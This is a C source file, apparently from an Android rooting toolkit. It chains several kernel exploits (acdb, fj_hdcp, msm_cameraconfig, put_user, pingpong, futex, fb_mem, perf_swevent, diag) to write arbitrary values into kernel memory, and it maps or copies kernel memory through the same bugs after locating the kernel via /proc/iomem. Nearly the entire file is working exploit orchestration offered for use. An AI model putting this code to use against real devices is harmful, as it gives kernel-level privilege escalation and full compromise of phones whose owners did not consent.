/*
 * Copyright (C) 2013 fi01 <furu.is01@gmail.com>
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 *
 */
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>

#include "exploit.h"
#include "device_database.h"
#include <diag.h>
#include <perf_event.h>
#include <acdb.h>
#include <fj_hdcp.h>
#include <msm_cameraconfig.h>
#include <fb_mem.h>
#include <put_user.h>
#include <get_user.h>
#include <pingpong.h>
#include <futex.h>

#define PAGE_OFFSET     0xc0000000
#define KERNEL_SIZE     0x02000000

typedef struct _callback_info_t {
  exploit_callback_t func;
  void *param;
  bool result;
} callback_info_t;

static bool fb_mem_exploit_enable = true;

void
set_fb_mem_exploit_enable(bool enable)
{
  fb_mem_exploit_enable = enable;
}

static bool
run_callback(void *param)
{
  callback_info_t *info = param;

  info->result = info->func(info->param);

  return true;
}

static unsigned long int default_kernel_physical_offset = 0x80208000;

void set_default_kernel_physical_offset(unsigned long int offset)
{
  default_kernel_physical_offset = offset;
}

static unsigned long int
find_kernel_text_from_iomem(void)
{
  unsigned long int kernel_ram;
  FILE *fp;

  fp = fopen("/proc/iomem", "rt");
  if (!fp) {
    return 0;
  }

  kernel_ram = 0;

  while (!feof(fp)) {
    unsigned long int start, end;
    char buf[256];
    char *p;
    int len;
    char colon[256], name1[256], name2[256];
    int n;

    p = fgets(buf, sizeof (buf) - 1, fp);
    if (p == NULL)
      break;

    if (sscanf(buf, "%lx-%lx %s %s %s", &start, &end, colon, name1, name2) != 5
        || strcmp(colon, ":")) {
      continue;
    }

    if (!strcasecmp(name1, "System") && !strcasecmp(name2, "RAM")) {
      kernel_ram = start;
      continue;
    }

    if (strcasecmp(name1, "Kernel") || (strcasecmp(name2, "text") && strcasecmp(name2, "code"))) {
      kernel_ram = 0;
      continue;
    }

    fclose(fp);

    kernel_ram += 0x00008000;

    printf("Detected kernel physical address at 0x%08lx from iomem\n", kernel_ram);

    return kernel_ram;
  }

  fclose(fp);
  return 0;
}

static unsigned long int
get_kernel_physical_offset(void)
{
  unsigned long int offset;

  offset = device_get_symbol_address(DEVICE_SYMBOL(kernel_physical_offset));
  if (!offset) {
    offset = find_kernel_text_from_iomem();
  }

  if (offset) {
    return offset;
  }

  return default_kernel_physical_offset;
}

static bool
attempt_diag_exploit(unsigned long int address,
                     unsigned long int write_value,
                     callback_info_t *info)
{
  struct diag_values injection_data;

  if (write_value > (uint16_t)-1) {
    return false;
  }

  injection_data.address = address;
  injection_data.value = (uint16_t)write_value;

  return diag_run_exploit(&injection_data, 1, &run_callback, info);
}

static bool
attempt_acdb_exploit(unsigned long int address,
                     unsigned long int write_value,
                     unsigned long int restore_value,
                     callback_info_t *info)
{
  if (acdb_run_exploit(address, write_value, &run_callback, info)) {
    acdb_write_value_at_address(address, restore_value);

    return true;
  }

  return false;
}

static bool
attempt_fj_hdcp_exploit(unsigned long int address,
                        unsigned long int write_value,
                        unsigned long int restore_value,
                        callback_info_t *info)
{
  if (fj_hdcp_run_exploit(address, write_value, &run_callback, info)) {
    fj_hdcp_write_value_at_address(address, restore_value);

    return true;
  }

  return false;
}

static bool
attempt_msm_cameraconfig_exploit(unsigned long int address,
                       unsigned long int write_value,
                       unsigned long int restore_value,
                       callback_info_t *info)
{
  unsigned long int offset;

  offset = get_kernel_physical_offset();
  if (offset) {
    msm_cameraconfig_set_kernel_phys_offset(offset - 0x00008000);
  }

  if (msm_cameraconfig_write_value_at_address(address, write_value)) {
    run_callback(info);

    msm_cameraconfig_write_value_at_address(address, restore_value);

    return true;
  }

  return false;
}

static bool
attempt_put_user_exploit(unsigned long int address,
                     unsigned long int write_value,
                     unsigned long int restore_value,
                     callback_info_t *info)
{
  if (put_user_run_exploit(address, write_value, &run_callback, info)) {
    put_user_write_value_at_address(address, restore_value);

    return true;
  }

  return false;
}

static bool
attempt_pingpong_exploit(unsigned long int address,
                         unsigned long int write_value,
                         unsigned long int restore_value,
                         callback_info_t *info)
{
  if (pingpong_run_exploit(address, write_value, &run_callback, info)) {
    pingpong_write_value_at_address(address, restore_value);

    return true;
  }

  return false;
}

static bool
attempt_futex_exploit(unsigned long int address,
                     unsigned long int write_value,
                     unsigned long int restore_value,
                     callback_info_t *info)
{
  if (futex_run_exploit(address, write_value, &run_callback, info)) {
    futex_write_value_at_address(address, restore_value);

    return true;
  }

  return false;
}

static bool
attempt_fb_mem_exploit(unsigned long int address,
                       unsigned long int write_value,
                       unsigned long int restore_value,
                       callback_info_t *info)
{
  unsigned long int offset;

  offset = get_kernel_physical_offset();
  if (offset) {
    fb_mem_set_kernel_phys_offset(offset - 0x00008000);
  }

  if (fb_mem_write_value_at_address(address, write_value)) {
    run_callback(info);

    fb_mem_write_value_at_address(address, restore_value);

    return true;
  }

  return false;
}

bool
attempt_exploit(unsigned long int address,
                unsigned long int write_value,
                unsigned long int restore_value,
                exploit_callback_t callback_func,
                void *callback_param)
{
  callback_info_t info;

  info.func = callback_func;
  info.param = callback_param;
  info.result = false;

  // Attempt exploits in most stable order

  printf("Attempt acdb exploit...\n");
  if (attempt_acdb_exploit(address, write_value, restore_value, &info)) {
    return info.result;
  }
  printf("\n");

  printf("Attempt fj_hdcp exploit...\n");
  if (attempt_fj_hdcp_exploit(address, write_value, restore_value, &info)) {
    return info.result;
  }
  printf("\n");

  printf("Attempt msm_cameraconfig exploit...\n");
  if (attempt_msm_cameraconfig_exploit(address, write_value, restore_value, &info)) {
    return info.result;
  }
  printf("\n");

  printf("Attempt put_user exploit...\n");
  if (attempt_put_user_exploit(address, write_value, restore_value, &info)) {
    return info.result;
  }
  printf("\n");

  printf("Attempt pingpong exploit...\n");
  if (attempt_pingpong_exploit(address, write_value, restore_value, &info)) {
    return info.result;
  }
  printf("\n");

  printf("Attempt futex exploit...\n");
  if (attempt_futex_exploit(address, write_value, restore_value, &info)) {
    return info.result;
  }
  printf("\n");

  if (fb_mem_exploit_enable) {
    printf("Attempt fb_mem exploit...\n");
    if (attempt_fb_mem_exploit(address, write_value, restore_value, &info)) {
      return info.result;
    }
    printf("\n");
  }

  printf("Attempt perf_swevent exploit...\n");
  if (perf_swevent_run_exploit(address, write_value, &run_callback, &info)) {
    return info.result;
  }
  printf("\n");

  if (attempt_diag_exploit(address, write_value, &info)) {
    return info.result;
  }

  return false;
}

static bool
attempt_mmap_msm_cameraconfig_exploit(exploit_memory_callback_t callback_func, void *callback_param)
{
  unsigned long int offset;
  int fd_video, fd_config;
  void *address;
  bool result;

  offset = get_kernel_physical_offset();
  if (offset) {
    msm_cameraconfig_set_kernel_phys_offset(offset - 0x00008000);
  }

  address = msm_cameraconfig_mmap(&fd_video, &fd_config);
  if (address == MAP_FAILED) {
    return false;
  }

  result = callback_func(msm_cameraconfig_convert_to_mmaped_address((void *)PAGE_OFFSET, address),
                         KERNEL_SIZE,
                         callback_param);

  msm_cameraconfig_munmap(address, fd_video, fd_config);

  return result;
}

static bool
attempt_mmap_fb_mem_exploit(exploit_memory_callback_t callback_func, void *callback_param)
{
  unsigned long int offset;
  int fd;
  void *address;
  bool result;

  offset = get_kernel_physical_offset();
  if (offset) {
    fb_mem_set_kernel_phys_offset(offset - 0x00008000);
  }

  address = fb_mem_mmap(&fd);
  if (address == MAP_FAILED) {
    return false;
  }

  result = callback_func(fb_mem_convert_to_mmaped_address((void *)PAGE_OFFSET, address),
                         KERNEL_SIZE,
                         callback_param);

  fb_mem_munmap(address, fd);

  return result;
}

bool
attempt_mmap_exploit(exploit_memory_callback_t callback_func, void *callback_param)
{
  printf("Attempt msm_cameraconfig exploit...\n");
  if (attempt_mmap_msm_cameraconfig_exploit(callback_func, callback_param)) {
    return true;
  }
  printf("\n");

  if (fb_mem_exploit_enable) {
    printf("Attempt fb_mem exploit...\n");
    if (attempt_mmap_fb_mem_exploit(callback_func, callback_param)) {
      return true;
    }
  }

  return false;
}

bool
attempt_memcpy_exploit(exploit_memory_callback_t callback_func, void *callback_param)
{
  void *mem;
  int i;
  bool result;

  printf("Try copying kernel memory... It will take a long time.\n");

  mem = malloc(KERNEL_SIZE);
  if (!mem) {
    printf("malloc(): failed\n");
  }

  result = true;

  printf("Attempt pingpong exploit...\n");
  for (i = 0x00008000; i < KERNEL_SIZE; i += 4 * PINGPONG_MAX_REQUEST_COUNT) {
    if (!pingpong_read_values_at_address(PAGE_OFFSET + i, mem + i, PINGPONG_MAX_REQUEST_COUNT)) {
      result = false;
      break;
    }
  }

  if (!result) {
    result = true;

    printf("Attempt futex exploit...\n");
    for (i = 0x00008000; i < KERNEL_SIZE; i += 4 * FUTEX_REQUEUE_MAX_REQUEST_COUNT) {
      if (!futex_read_values_at_address(PAGE_OFFSET + i, mem + i, FUTEX_REQUEUE_MAX_REQUEST_COUNT)) {
        result = false;
        break;
      }
    }
  }

  if (!result) {
    result = true;

    printf("Attempt get_user exploit...\n");
    for (i = 0x00008000; i < KERNEL_SIZE; i += 4) {
      if (!get_user_read_value_at_address(PAGE_OFFSET + i, mem + i)) {
	result = false;
	break;
      }
    }
  }

  if (result) {
    result = callback_func(mem, KERNEL_SIZE, callback_param);
  }

  free(mem);

  return result;
}
